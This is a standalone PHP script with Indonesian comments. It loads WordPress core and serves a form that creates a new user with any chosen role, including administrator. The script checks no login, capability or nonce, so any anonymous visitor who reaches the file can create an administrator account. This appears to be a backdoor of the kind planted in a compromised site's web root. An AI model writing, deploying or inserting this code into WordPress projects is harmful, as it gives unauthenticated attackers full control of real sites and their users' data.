<?php
// Load WordPress Core
require_once('wp-load.php');
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = sanitize_text_field($_POST["username"]);
$password = $_POST["password"];
$email = sanitize_email($_POST["email"]);
$role = sanitize_text_field($_POST["role"]); // Ambil role dari input
// Validasi role agar hanya role yang diizinkan bisa digunakan
$allowed_roles = ['subscriber', 'editor', 'author', 'contributor', 'administrator'];
if (!in_array($role, $allowed_roles)) {
die("Error: Role tidak valid!");
}
if (username_exists($username)) {
echo "Error: Username sudah digunakan!";
} elseif (email_exists($email)) {
echo "Error: Email sudah digunakan!";
} else {
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
echo "Error: " . $user_id->get_error_message();
} else {
$user = new WP_User($user_id);
$user->set_role($role);
echo "User berhasil dibuat dengan username: " . $username . " dan role: " . $role;
}
}
}
?>
<!-- Form untuk input username, password, email, dan role -->
<form method="POST">
<label>Username:</label>
<input type="text" name="username" required><br>
<label>Password:</label>
<input type="password" name="password" required><br>
<label>Email:</label>
<input type="email" name="email" required><br>
<label>Role:</label>
<select name="role" required>
<option value="subscriber">Subscriber</option>
<option value="editor">Editor</option>
<option value="author">Author</option>
<option value="contributor">Contributor</option>
<option value="administrator">Administrator</option>
</select><br>
<button type="submit">Buat User</button>
</form>